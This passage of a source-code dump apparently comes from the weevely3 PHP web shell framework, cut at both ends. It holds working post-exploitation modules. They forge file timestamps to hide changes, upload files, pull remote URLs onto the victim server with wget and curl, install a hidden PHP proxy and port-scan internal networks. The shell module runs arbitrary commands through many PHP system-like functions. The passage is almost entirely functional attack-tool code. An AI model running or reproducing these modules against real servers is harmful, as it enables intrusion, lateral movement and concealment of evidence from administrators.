False, 'help' : 'Simulate tar -xj for bzip2 compressed archives' }, 39 | ]) 40 | 41 | def run(self, **kwargs): 42 | 43 | if self.args.get('z'): 44 | ModuleExec('file_gzip', [ '--keep', '--decompress', self.args['rtar'] ]).run() 45 | self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) 46 | elif self.args.get('j'): 47 | ModuleExec('file_bzip2', [ '--keep', '--decompress', self.args['rtar'] ]).run() 48 | self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) 49 | 50 | # The correct execution returns something only on errors 51 | result_err = self.vectors.get_result( 52 | name = 'php_tar', 53 | format_args = self.args, 54 | ) 55 | 56 | if result_err: 57 | log.warn(result_err) 58 | return 59 | 60 | return True 61 | -------------------------------------------------------------------------------- /modules/file/touch.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import messages 4 | from core.loggers import log 5 | import dateutil.parser 6 | import datetime 7 | import time 8 | import random 9 | import hashlib 10 | import base64 11 | import os 12 | 13 | 14 | class Touch(Module): 15 | 16 | """Change file timestamp.""" 17 | 18 | aliases = [ 'touch' ] 19 | 20 | def init(self): 21 | 22 | self.register_info( 23 | { 24 | 'author': [ 25 | 'Emilio Pinna' 26 | ], 27 | 'license': 'GPLv3' 28 | } 29 | ) 30 | 31 | self.register_vectors( 32 | [ 33 | PhpCode( 34 | "touch('${rpath}', ${epoch_ts});", 35 | name = 'php_touch' 36 | ), 37 | ShellCmd( 38 | "touch -d @${epoch_ts} '${rpath}'", 39 | name = 'sh_touch', 40 | target = Os.NIX 41 | ), 42 | ] 43 | ) 44 | 45 | self.register_arguments([ 46 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 47 | { 'name' : '-epoch-ts', 'help' : 'Epoch timestamp', 'type' : int }, 48 | { 'name' : '-human-ts', 49 | 'help' : 'Human readable timestamp e.g. \'2004-02-29 16:21:42\' or \'16:21\'' 50 | }, 51 | { 'name' : '-file-ts', 'help' : 'Clone timestamp from another file' }, 52 | { 'name' : '-oldest-file-ts', 53 | 'help' : 'Clone timestamp from the oldest file in the same folder', 54 | 'action' : 'store_true', 55 | 'default' : False 56 | }, 57 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_touch' } 58 | ]) 59 | 60 | def run(self, **kwargs): 61 | 62 | # Handle the cloning of the oldest timestamp in folder 63 | if self.args.get('oldest_file_ts'): 64 | # TODO: This works only in remote unix environment, fix it. 65 | folder = ( 66 | os.path.split(self.args['rpath'])[0] 67 | if os.path.sep in self.args['rpath'] 68 | else '.' 69 | ) 70 | 71 | file_list = [ 72 | os.path.join(folder, f) 73 | for f in ModuleExec('file_ls', [ folder ]).run() 74 | ] 75 | 76 | for file in file_list: 77 | file_time = ModuleExec('file_check', [ file, 'time' ]).run() 78 | self.args['epoch_ts'] = ( 79 | file_time if ( 80 | not self.args.get('epoch_ts') or 81 | file_time < self.args.get('epoch_ts') 82 | ) 83 | else None 84 | ) 85 | 86 | # Handle to get timestamp from another file 87 | elif self.args.get('file_ts'): 88 | self.args['epoch_ts'] = ModuleExec('file_check', [ self.args['file_ts'], 'time' ]).run() 89 | 90 | # Handle to get an human readable timestamp 91 | elif self.args.get('human_ts'): 92 | try: 93 | self.args['epoch_ts'] = int( 94 | time.mktime( 95 | dateutil.parser.parse(self.args['human_ts'], yearfirst=True).timetuple() 96 | ) 97 | ) 98 | except: 99 | log.warn(messages.module_file_touch.error_invalid_timestamp_format) 100 | return 101 | 102 | if not self.args.get('epoch_ts'): 103 | log.warn(messages.module_file_touch.error_source_timestamp_required) 104 | return 105 | 106 | self.vectors.get_result(self.args['vector'], self.args) 107 | 108 | # Verify execution 109 | if not self.args['epoch_ts'] == ModuleExec('file_check', [ self.args.get('rpath'), 'time' ]).run(): 110 | log.warn(messages.module_file_touch.failed_touch_file) 111 | return 112 | 113 | return self.args['epoch_ts'] 114 | 115 | def print_result(self, result): 116 | """Override print_result to print timestamp in an human readable form""" 117 | if result: 118 | log.info('New timestamp: %s' % 119 | datetime.datetime.fromtimestamp(result).strftime('%Y-%m-%d %H:%M:%S') 120 | ) 121 | -------------------------------------------------------------------------------- /modules/file/upload.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ModuleExec 2 | from core.module import Module 3 | from core import messages 4 | from core.loggers import log 5 | import random 6 | import hashlib 7 | import base64 8 | 9 | 10 | class Upload(Module): 11 | 12 | """Upload file to remote filesystem.""" 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | PhpCode( 28 | "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);", 29 | name = 'file_put_contents' 30 | ), 31 | 32 | PhpCode( 33 | """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""", 34 | name = "fwrite" 35 | ) 36 | ] 37 | ) 38 | 39 | self.register_arguments([ 40 | { 'name' : 'lpath', 'help' : 'Local file path', 'nargs' : '?' }, 41 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 42 | { 'name' : '-force', 'help' : 'Force overwrite', 'action' : 'store_true', 'default' : False }, 43 | { 'name' : '-content', 'help' : 'Optionally specify the file content'}, 44 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'file_put_contents' } 45 | ]) 46 | 47 | def run(self, **kwargs): 48 | 49 | content_orig = self.args.get('content') 50 | 51 | if content_orig == None: 52 | 53 | # Load local file 54 | lpath = self.args.get('lpath') 55 | if not lpath: 56 | log.warning(messages.module_file_upload.error_content_lpath_required) 57 | return 58 | 59 | try: 60 | with open(lpath, 'rb') as contentfile: 61 | content_orig = contentfile.read() 62 | except Exception as e: 63 | log.warning( 64 | messages.generic.error_loading_file_s_s % (lpath, str(e))) 65 | return 66 | else: 67 | content_orig = content_orig.encode('utf-8') 68 | 69 | self.args['content'] = base64.b64encode(content_orig).decode('utf-8') 70 | 71 | # Check remote file existence 72 | if not self.args['force'] and ModuleExec('file_check', [ self.args['rpath'], 'exists' ]).run(): 73 | log.warning(messages.generic.error_file_s_already_exists % self.args['rpath']) 74 | return 75 | 76 | vector_name, result = self.vectors.find_first_result( 77 | format_args = self.args, 78 | condition = lambda result: True if result == '1' else False 79 | ) 80 | 81 | if not ModuleExec('file_check', [ self.args['rpath'], 'exists' ]).run(): 82 | log.warning(messages.module_file_upload.failed_upload_file) 83 | return 84 | 85 | if not ( 86 | ModuleExec('file_check', [ self.args['rpath'], 'md5' ]).run() == 87 | hashlib.md5(content_orig).hexdigest() 88 | ): 89 | log.warning(messages.module_file_upload.failed_md5_check) 90 | return 91 | 92 | return True 93 | -------------------------------------------------------------------------------- /modules/file/webdownload.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd 2 | from core.module import Module 3 | from core import messages 4 | import random 5 | import datetime 6 | 7 | 8 | class Webdownload(Module): 9 | 10 | """Download an URL.""" 11 | 12 | aliases = [ 'wget' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | 26 | self.register_vectors( 27 | [ 28 | PhpCode("""@file_put_contents("${rpath}",file_get_contents("${url}"));""", 29 | name = "file_put_contents" 30 | ), 31 | ShellCmd("""wget ${url} -O ${rpath}""", 32 | name = "wget" 33 | ), 34 | ShellCmd("""curl -o ${rpath} ${url}""", 35 | name = "curl" 36 | ) 37 | ] 38 | ) 39 | 40 | self.register_arguments([ 41 | { 'name' : 'url', 'help' : 'URL to download remotely' }, 42 | { 'name' : 'rpath', 'help' : 'Remote file path' }, 43 | { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : "file_put_contents" }, 44 | ]) 45 | 46 | def run(self, **kwargs): 47 | 48 | return self.vectors.get_result( 49 | name = self.args['vector'], 50 | format_args = self.args 51 | ) 52 | -------------------------------------------------------------------------------- /modules/file/zip.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile, ModuleExec 2 | from core.module import Module 3 | from core import messages 4 | from core import modules 5 | from core.loggers import log 6 | import os 7 | 8 | class Zip(Module): 9 | 10 | """Compress or expand zip files.""" 11 | 12 | aliases = [ 'zip', 'unzip' ] 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_vectors( 26 | [ 27 | PhpFile( 28 | payload_path = os.path.join(self.folder, 'php_zip.tpl'), 29 | name = 'php_zip', 30 | ) 31 | ] 32 | ) 33 | 34 | self.register_arguments([ 35 | { 'name' : 'rzip', 'help' : 'Remote ZIP file' }, 36 | { 'name' : 'rfiles', 'help' : 'Remote files to compress. If decompressing, set destination folder.', 'nargs' : '+' }, 37 | { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate unzip' }, 38 | ]) 39 | 40 | def run(self, **kwargs): 41 | 42 | # The correct execution returns something only on errors 43 | result_err = self.vectors.get_result( 44 | name = 'php_zip', 45 | format_args = self.args, 46 | ) 47 | 48 | if result_err: 49 | log.warning(result_err) 50 | return 51 | 52 | return True 53 | -------------------------------------------------------------------------------- /modules/net/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/net/__init__.py -------------------------------------------------------------------------------- /modules/net/_curl/php_context.tpl: -------------------------------------------------------------------------------- 1 | $opts = array( 2 | 'ssl' => array ( 3 | 'verify_peer' => false, 4 | 'verify_peer_name' => false, 5 | 'allow_self_signed' => true, 6 | 'verify_depth' => 0, 7 | ), 8 | 'http'=>array( 9 | 'follow_location' => false, 10 | 'method'=>'${ request if not data else 'POST' }', 11 | 'timeout'=>${ connect_timeout }, 12 | 'ignore_errors' => true, 13 | % if header or cookie or user_agent or data: 14 | 'header' => array( 15 | % endif 16 | % for h in header: 17 | % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): 18 | "${h}", 19 | % endif 20 | % endfor 21 | % if cookie: 22 | "Cookie: ${ cookie }", 23 | % endif 24 | % if user_agent: 25 | "User-Agent: ${ user_agent }", 26 | % endif 27 | % if header or cookie or user_agent or data: 28 | ), 29 | % endif 30 | % if data: 31 | 'content' => "${ ''.join(data) }", 32 | % endif 33 | ) 34 | ); 35 | 36 | $ctx=stream_context_create($opts); 37 | % if current_vector == 'file_get_contents': 38 | $r = file_get_contents("${url}", false, $ctx); 39 | % elif current_vector == 'fopen_stream_get_contents': 40 | $s = fopen("${url}", 'r', false, $ctx); 41 | $r = ''; 42 | if($s) { 43 | $r = stream_get_contents($s); 44 | fclose($s); 45 | } 46 | % elif current_vector == 'fopen_fread': 47 | $h = fopen("${url}", 'r', false, $ctx); 48 | $r = ''; 49 | if($h) { 50 | while (!feof($h)) { 51 | $r .= fread($h, 8192); 52 | } 53 | fclose($h); 54 | } 55 | % endif 56 | 57 | foreach($http_response_header as $v) { 58 | print("$v\r\n"); 59 | } 60 | print("\r\n". $r); 61 | -------------------------------------------------------------------------------- /modules/net/_curl/php_curl.tpl: -------------------------------------------------------------------------------- 1 | $ch = curl_init(); 2 | 3 | curl_setopt($ch, CURLOPT_URL, "${url}"); 4 | 5 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "${ request if not data else 'POST' }"); 6 | curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, ${ connect_timeout }); 7 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); 8 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 9 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 10 | 11 | % if header or cookie or user_agent or data: 12 | curl_setopt($ch, CURLOPT_HTTPHEADER, array( 13 | % endif 14 | % for h in header: 15 | % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): 16 | "${h}", 17 | % endif 18 | % endfor 19 | % if cookie: 20 | "Cookie: ${ cookie }", 21 | % endif 22 | % if user_agent: 23 | "User-Agent: ${ user_agent }", 24 | % endif 25 | % if header or cookie or user_agent or data: 26 | )); 27 | % endif 28 | 29 | % if data: 30 | curl_setopt($ch, CURLOPT_POST, 1); 31 | curl_setopt($ch, CURLOPT_POSTFIELDS, "${ ''.join(data) }"); 32 | % endif 33 | 34 | curl_setopt($ch, CURLOPT_HEADER, 1); 35 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 36 | $response = curl_exec($ch); 37 | print($response); 38 | -------------------------------------------------------------------------------- /modules/net/_curl/php_httprequest1.tpl: -------------------------------------------------------------------------------- 1 | if(class_exists('HttpRequest')) { 2 | $r = new HttpRequest("${ url }", HttpRequest::METH_${ request if not data else 'POST' }); 3 | 4 | $r->setOptions(array('connecttimeout'=>${ connect_timeout })); 5 | 6 | % if header or cookie or user_agent or data: 7 | $r->addHeaders( 8 | array( 9 | % for h in header: 10 | % if not (data and (h.title().startswith('Content-Length: '))) and not (user_agent and h.title().startswith('User-Agent: ')): 11 | "${ h.split(':')[0] }" => "${ h.split(':')[1].lstrip() }", 12 | % endif 13 | % endfor 14 | % if user_agent: 15 | 'User-Agent'=>"${ user_agent }", 16 | % endif 17 | % if cookie: 18 | 'Cookie'=>"${ cookie }", 19 | % endif 20 | ) 21 | ); 22 | % endif 23 | 24 | % if data: 25 | $r->addRawPostData("${ ''.join(data) }"); 26 | % endif 27 | 28 | try { 29 | $r = $r->send(); 30 | } catch (HttpException $ex) { } 31 | 32 | print("HTTP/" . $r->getHttpVersion() . " " . $r->getResponseCode() . " " . $r->getResponseStatus() . "\r\n"); 33 | 34 | foreach($r->getHeaders() as $h => $v) { 35 | print("$h: $v\r\n"); 36 | } 37 | print("\r\n" . $r->getBody()); 38 | } 39 | -------------------------------------------------------------------------------- /modules/net/_scan/fsockopen.tpl: -------------------------------------------------------------------------------- 1 | $addrs = array( "${ '", "'.join( ips ) }" ); 2 | $ports = array( ${ ', '.join( [ str(p) for p in prts ] ) } ); 3 | 4 | foreach($addrs as $a) { 5 | foreach($ports as $p) { 6 | $n="";$e=""; 7 | if($fp = fsockopen($a, $p, $n, $e, $timeout=${ timeout })) { 8 | print("OPN $a:$p" . PHP_EOL); 9 | fclose($fp); 10 | } 11 | else { 12 | print("ERR $a:$p $e $n" . PHP_EOL); 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /modules/net/ifconfig.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | from core import messages 5 | from core.loggers import log 6 | from utils.ipaddr import IPNetwork 7 | import re 8 | 9 | class Ifconfig(Module): 10 | 11 | """Get network interfaces addresses.""" 12 | 13 | aliases = [ 'ifconfig' ] 14 | 15 | def init(self): 16 | 17 | self.register_info( 18 | { 19 | 'author': [ 20 | 'Emilio Pinna' 21 | ], 22 | 'license': 'GPLv3' 23 | } 24 | ) 25 | 26 | def _get_ifconfig_result(self, ifconfig_path): 27 | 28 | result = ShellCmd( 29 | ifconfig_path, 30 | target = Os.NIX 31 | ).run() 32 | 33 | if not result: 34 | log.debug(messages.module_net_ifconfig.error_no_s_execution_result % ifconfig_path) 35 | return {} 36 | 37 | ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result, re.S | re.M) 38 | 39 | if not ifaces: 40 | log.debug(messages.module_net_ifconfig.error_parsing_s_execution_result % ifconfig_path) 41 | return {} 42 | 43 | networks = {} 44 | 45 | for iface in ifaces: 46 | try: 47 | networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2])) 48 | except Exception as e: 49 | log.debug(messages.module_net_ifconfig.error_interpeting_s_execution_result_s % (ifconfig_path, str(e))) 50 | pass 51 | 52 | return networks 53 | 54 | 55 | def run(self, **kwargs): 56 | 57 | # Call raw ifconfig from $PATH and return it 58 | result = self._get_ifconfig_result("ifconfig") 59 | if result: return result 60 | 61 | # Is usually not in $PATH cause is suid. Enumerating paths. 62 | ifconfig_paths = ModuleExec('file_enum', [ 63 | '%sifconfig' % x for x in [ 64 | '/sbin/', 65 | '/bin/', 66 | '/usr/bin/', 67 | '/usr/sbin/', 68 | '/usr/local/bin/', 69 | '/usr/local/sbin/' ] 70 | ] 71 | ).run() 72 | 73 | for path in ifconfig_paths: 74 | result = self._get_ifconfig_result(path) 75 | if result: return result 76 | 77 | log.warn(messages.module_net_ifconfig.failed_retrieve_info) 78 | -------------------------------------------------------------------------------- /modules/net/mail.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode, ShellCmd, ModuleExec, Os 2 | from core.module import Module 3 | from core import modules 4 | 5 | class Mail(Module): 6 | 7 | """Send mail.""" 8 | 9 | aliases = [ 'mail' ] 10 | 11 | def init(self): 12 | 13 | self.register_info( 14 | { 15 | 'author': [ 16 | 'appo' 17 | ], 18 | 'license': 'GPLv3' 19 | } 20 | ) 21 | 22 | self.register_arguments([ 23 | { 'name' : 'to', 'help' : 'Receiver, or receivers of the mail' }, 24 | { 'name' : 'subject', 'help' : 'Subject of the mail to be sent. ' }, 25 | { 'name' : 'message', 'help' : 'Message to be sent. ( Write message in " " ) ' }, 26 | { 'name' : 'sender', 'help' : 'Set sender of the mail. ' } 27 | ]) 28 | 29 | def run(self, **kwargs): 30 | 31 | return PhpCode("""(mail('${to}', '${subject}', '${message}', 'From: ${sender}') && print(1)) || print(0);""", 32 | postprocess = lambda x: True if x == '1' else False 33 | ).run(self.args) 34 | -------------------------------------------------------------------------------- /modules/net/phpproxy.py: -------------------------------------------------------------------------------- 1 | from core.vectors import ModuleExec 2 | from core.module import Module 3 | from core import modules 4 | from core import messages 5 | from core.loggers import log 6 | import utils 7 | import atexit 8 | import os 9 | 10 | class Phpproxy(Module): 11 | 12 | """Install PHP proxy on the target.""" 13 | 14 | def init(self): 15 | 16 | self.register_info( 17 | { 18 | 'author': [ 19 | 'Emilio Pinna' 20 | ], 21 | 'license': 'GPLv3' 22 | } 23 | ) 24 | 25 | self.register_arguments([ 26 | { 'name' : 'rpath', 'help' : 'Remote path where to install the PHP proxy script. If it is a folder find the first writable folder in it', 'default' : '.', 'nargs' : '?' }, 27 | { 'name' : '-rname', 'help' : 'Set a specific file name ending with \'.php\'. Default is random', 'default' : '%s.php' % utils.strings.randstr(6).decode('utf-8') }, 28 | { 'name' : '-no-autoremove', 'action' : 'store_true', 'default' : False, 'help' : 'Do not autoremove on exit' } 29 | ]) 30 | 31 | def run(self, **kwargs): 32 | 33 | with open(os.path.join(self.folder, 'poxy.php'), 'r') as proxyfile: 34 | proxycontent = proxyfile.read() 35 | 36 | result = ModuleExec( 37 | 'file_upload2web', 38 | [ 39 | '-content', 40 | proxycontent, 41 | self.args['rname'], 42 | self.args['rpath'] 43 | ] 44 | ).run(self.args) 45 | 46 | if not ( 47 | result and 48 | len(result[0]) == 2 and 49 | result[0][0] and 50 | result[0][1] 51 | ): return 52 | 53 | log.warn( 54 | messages.module_net_phpproxy.phpproxy_installed_to_s_browser_to_s % ( 55 | result[0][0], 56 | result[0][1] 57 | ) 58 | ) 59 | 60 | if self.args['no_autoremove']: 61 | log.warn(messages.module_net_phpproxy.proxy_script_manually_remove_s % (result[0][0])) 62 | else: 63 | log.warn(messages.module_net_phpproxy.proxy_script_removed) 64 | atexit.register( 65 | ModuleExec('file_rm', [ 66 | result[0][0] 67 | ] 68 | ).run 69 | ) 70 | 71 | return result 72 | 73 | 74 | 75 | def print_result(self, result): 76 | pass 77 | -------------------------------------------------------------------------------- /modules/net/scan.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpFile 2 | from core.module import Module 3 | from core.argparsers import SUPPRESS 4 | from core import modules 5 | from core.loggers import log 6 | from core import messages 7 | import utils 8 | import os 9 | 10 | class Scan(Module): 11 | 12 | """TCP Port scan.""" 13 | 14 | aliases = [ 'nmap' ] 15 | 16 | def init(self): 17 | 18 | self.register_info( 19 | { 20 | 'author': [ 21 | 'Emilio Pinna' 22 | ], 23 | 'license': 'GPLv3' 24 | } 25 | ) 26 | 27 | self.register_vectors( 28 | [ 29 | PhpFile( 30 | payload_path = os.path.join(self.folder, 'fsockopen.tpl'), 31 | name = 'fsockopen', 32 | ) 33 | ] 34 | ) 35 | 36 | self.register_arguments([ 37 | { 'name' : 'addresses', 'help' : 'IPs or interface e.g. 10.1.1.1,10.1.1.2 or 10.1.1.1-254 or 10.1.1.1/255.255.255.0 or eth0' }, 38 | { 'name' : 'ports', 'help' : 'Ports e.g. 80,8080 or 80,8080-9090' }, 39 | { 'name' : '-timeout', 'help' : 'Connection timeout', 'type' : int, 'default' : 1 }, 40 | { 'name' : '-print', 'action' : 'store_true', 'default' : False, 'help' : 'Print closed and filtered ports' }, 41 | { 'name' : '-addresses-per-request', 'help' : SUPPRESS, 'type' : int, 'default' : 10 }, 42 | { 'name' : '-ports-per-request', 'help' : SUPPRESS, 'type' : int, 'default' : 5 }, 43 | ]) 44 | 45 | def run(self, **kwargs): 46 | 47 | ## Address handling 48 | 49 | # Explode every single IP or network starting from 50 | # format IP1,IP2-IP3,IP/MASK,.. 51 | IPs = [] 52 | for ip_or_network in self.args['addresses'].split(','): 53 | 54 | if ip_or_network.count('-') == 1: 55 | # If there is a dash, explode 56 | IPs += list( 57 | utils.iputil.ip_range(ip_or_network) 58 | ) 59 | elif ip_or_network.count('/') == 1: 60 | # If there is a /, too 61 | IPs += [ 62 | str(utils.ipaddr.IPAddress(ip)) for ip in 63 | utils.ipaddr.IPNetwork(ip_or_network) 64 | ] 65 | else: 66 | IPs.append(ip_or_network) 67 | 68 | ## Port handling 69 | prts = utils.iputil.port_range(self.args['ports']) 70 | 71 | results_string = '' 72 | 73 | for ips_chunk in list(utils.strings.chunks(IPs, self.args['addresses_per_request'])): 74 | for prts_chunk in list(utils.strings.chunks(prts, self.args['ports_per_request'])): 75 | 76 | results_string += self.vectors.get_result( 77 | name = 'fsockopen', 78 | format_args = { 79 | 'ips' : ips_chunk, 80 | 'prts' : prts_chunk, 81 | 'timeout' : self.args['timeout'] } 82 | ) 83 | 84 | log.warn('Scanning addresses %s-%s:%i-%i' % ( 85 | ips_chunk[0], ips_chunk[-1], 86 | prts_chunk[0], prts_chunk[-1] 87 | ) 88 | ) 89 | 90 | # Crappy output handling 91 | 92 | result = [] 93 | for result_string in results_string.split('\n'): 94 | 95 | addr_string_splitted = result_string.split(' ') 96 | 97 | if addr_string_splitted[0] == 'OPN': 98 | address = addr_string_splitted[1] 99 | error = 'OPEN' 100 | elif addr_string_splitted[0] == 'ERR': 101 | address = addr_string_splitted[1] 102 | error = '%s (%s)' % ( 103 | ' '.join(addr_string_splitted[2:-1]), 104 | addr_string_splitted[-1] 105 | ) 106 | else: 107 | log.debug( 108 | messages.module_net_scan.unexpected_response 109 | ) 110 | continue 111 | 112 | if self.args.get('print'): 113 | result.append((address, error)) 114 | elif error == 'OPEN': 115 | result.append(address) 116 | 117 | return result 118 | -------------------------------------------------------------------------------- /modules/shell/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/modules/shell/__init__.py -------------------------------------------------------------------------------- /modules/shell/php.py: -------------------------------------------------------------------------------- 1 | from mako.template import Template 2 | from core.module import Module, Status 3 | from core.channels.channel import Channel 4 | from core import config 5 | from core.loggers import log 6 | from core.argparsers import SUPPRESS 7 | import random 8 | 9 | class Php(Module): 10 | 11 | """Execute PHP commands.""" 12 | 13 | def init(self): 14 | 15 | self.register_info( 16 | { 17 | 'author': [ 18 | 'Emilio Pinna' 19 | ], 20 | 'license': 'GPLv3' 21 | } 22 | ) 23 | 24 | self.register_arguments([ 25 | { 'name' : 'command', 'help' : 'PHP code wrapped in quotes and terminated by semi-comma', 'nargs' : '+' }, 26 | { 'name' : '-prefix-string', 'default' : '@error_reporting(0);' }, 27 | { 'name' : '-post_data' }, 28 | { 'name' : '-postfix-string', 'default' : '' }, 29 | { 'name' : '-raw-response', 'help' : SUPPRESS, 'action' : 'store_true', 'default' : False }, 30 | ]) 31 | 32 | self.channel = None 33 | 34 | def _check_interpreter(self, channel): 35 | 36 | rand = str(random.randint(11111, 99999)) 37 | 38 | command = 'echo(%s);' % rand 39 | response, code, error = channel.send(command) 40 | 41 | if response and rand == response.decode('utf-8'): 42 | status = Status.RUN 43 | else: 44 | # The PHP shell should never return FAIL 45 | status = Status.IDLE 46 | 47 | return status 48 | 49 | 50 | def setup(self): 51 | """Instauration of the PHP channel. Returns the module status.""" 52 | 53 | # Try a single channel if is manually set, else 54 | # probe every the supported channel from config 55 | if self.session.get('channel'): 56 | channels = [ self.session['channel'] ] 57 | else: 58 | channels = config.channels 59 | 60 | for channel_name in channels: 61 | 62 | channel = Channel( 63 | channel_name = channel_name, 64 | session = self.session 65 | ) 66 | 67 | status = self._check_interpreter(channel) 68 | 69 | if status == Status.RUN: 70 | self.session['channel'] = channel_name 71 | self.channel = channel 72 | break 73 | 74 | log.debug( 75 | 'PHP setup %s %s' % ( 76 | 'running' if status == Status.RUN else 'failed', 77 | 'with %s channel' % (channel_name) if status == Status.RUN else '' 78 | ) 79 | ) 80 | 81 | return status 82 | 83 | def run(self, **kwargs): 84 | """ Run module """ 85 | 86 | # This is an unusual slack setup at every execution 87 | # to check and eventually instance the proper channel 88 | if self.session['shell_php'].get('status') != Status.RUN: self.setup() 89 | 90 | cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.') 91 | chdir = '' if cwd == '.' else "chdir('%s');" % cwd 92 | 93 | # Compose command with cwd, pre_command, and post_command option. 94 | self.args.update({ 'chdir' : chdir }) 95 | command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""", strict_undefined=True).render(**self.args) 96 | 97 | log.debug('PAYLOAD %s' % command) 98 | 99 | # Send command 100 | response, code, error = self.channel.send(command, **kwargs) 101 | 102 | if self.args.get('raw_response'): 103 | return response 104 | else: 105 | return response.decode('utf-8', 'replace') 106 | -------------------------------------------------------------------------------- /modules/shell/sh.py: -------------------------------------------------------------------------------- 1 | from core.vectors import PhpCode 2 | from core.module import Module, Status 3 | from core.loggers import log 4 | from core.vectors import Os 5 | from core import messages 6 | from core import modules 7 | import random 8 | 9 | class Sh(Module): 10 | 11 | """Execute shell commands.""" 12 | 13 | def init(self): 14 | 15 | self.register_info( 16 | { 17 | 'author': [ 18 | 'Emilio Pinna' 19 | ], 20 | 'license': 'GPLv3' 21 | } 22 | ) 23 | 24 | self.register_vectors( 25 | [ 26 | # All the system-like calls has to be properly wrapped between single quotes 27 | PhpCode("""@system('${command}${stderr_redirection}');""", "system"), 28 | PhpCode("""@passthru('${command}${stderr_redirection}');""", "passthru"), 29 | PhpCode("""print(@shell_exec('${command}${stderr_redirection}'));""", "shell_exec"), 30 | PhpCode("""$r=array(); @exec('${command}${stderr_redirection}', $r);print(join(\"\\n\",$r));""", "exec"), 31 | PhpCode(""" 32 | $h=@popen('${command}','r'); 33 | if($h){ 34 | while(!feof($h)) echo(fread($h,4096)); 35 | pclose($h); 36 | }""", "popen"), 37 | PhpCode(""" 38 | $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); 39 | $h = @proc_open('${command}', $p, $pipes); 40 | if($h&&$pipes){ 41 | while(!feof($pipes[1])) echo(fread($pipes[1],4096)); 42 | while(!feof($pipes[2])) echo(fread($pipes[2],4096)); 43 | fclose($pipes[0]); 44 | fclose($pipes[1]); 45 | fclose($pipes[2]); 46 | proc_close($h); 47 | }""", "proc_open"), 48 | PhpCode("""@python_eval('import os; os.system('${command}${stderr_redirection}');');""", "python_eval"), 49 | PhpCode(""" 50 | if(class_exists('Perl')){ 51 | $perl=new Perl(); 52 | $r=$perl->system('${command}${stderr_redirection}'); 53 | print($r); 54 | }""", "perl_system"), 55 | # pcntl_fork is unlikely, cause is callable just as CGI or from CLI. 56 | PhpCode(""" 57 | if(is_callable('pcntl_fork')) { 58 | $p=@pcntl_fork(); 59 | if(!$p){ 60 | @pcntl_exec("/bin/sh",Array("-c",'${command}')); 61 | } else { 62 | @pcntl_waitpid($p,$status); 63 | } 64 | }""", 65 | name="pcntl", target=Os.NIX), 66 | ]) 67 | 68 | self.register_arguments([ 69 | { 'name' : 'command', 'help' : 'Shell command', 'nargs' : '+' }, 70 | { 'name' : '-stderr_redirection', 'default' : ' 2>&1' }, 71 | { 'name' : '-vector', 'choices' : self.vectors.get_names() }, 72 | ]) 73 | 74 | def setup(self): 75 | """Probe all vectors to find a working system-like function. 76 | 77 | The method run_until is not used due to the check of shell_sh 78 | enabling for every tested vector. 79 | 80 | Args: 81 | self.args: The dictionary of arguments 82 | 83 | Returns: 84 | Status value, must be Status.RUN, Status.FAIL, or Status.IDLE. 85 | 86 | """ 87 | 88 | check_digits = str(random.randint(11111, 99999)) 89 | 90 | args_check = { 91 | 'command': 'echo %s' % check_digits, 92 | 'stderr_redirection': '' 93 | } 94 | 95 | (vector_name, 96 | result) = self.vectors.find_first_result( 97 | names = [ self.args.get('vector', '') ], 98 | format_args = args_check, 99 | condition = lambda result: ( 100 | # Stop if shell_php is not running 101 | self.session['shell_php']['status'] != Status.RUN or 102 | # Or if the result is correct 103 | result and result.rstrip() == check_digits 104 | ) 105 | ) 106 | 107 | if self.session['shell_php']['status'] == Status.RUN and result and result.rstrip() == check_digits: 108 | self.session['shell_sh']['stored_args']['vector'] = vector_name 109 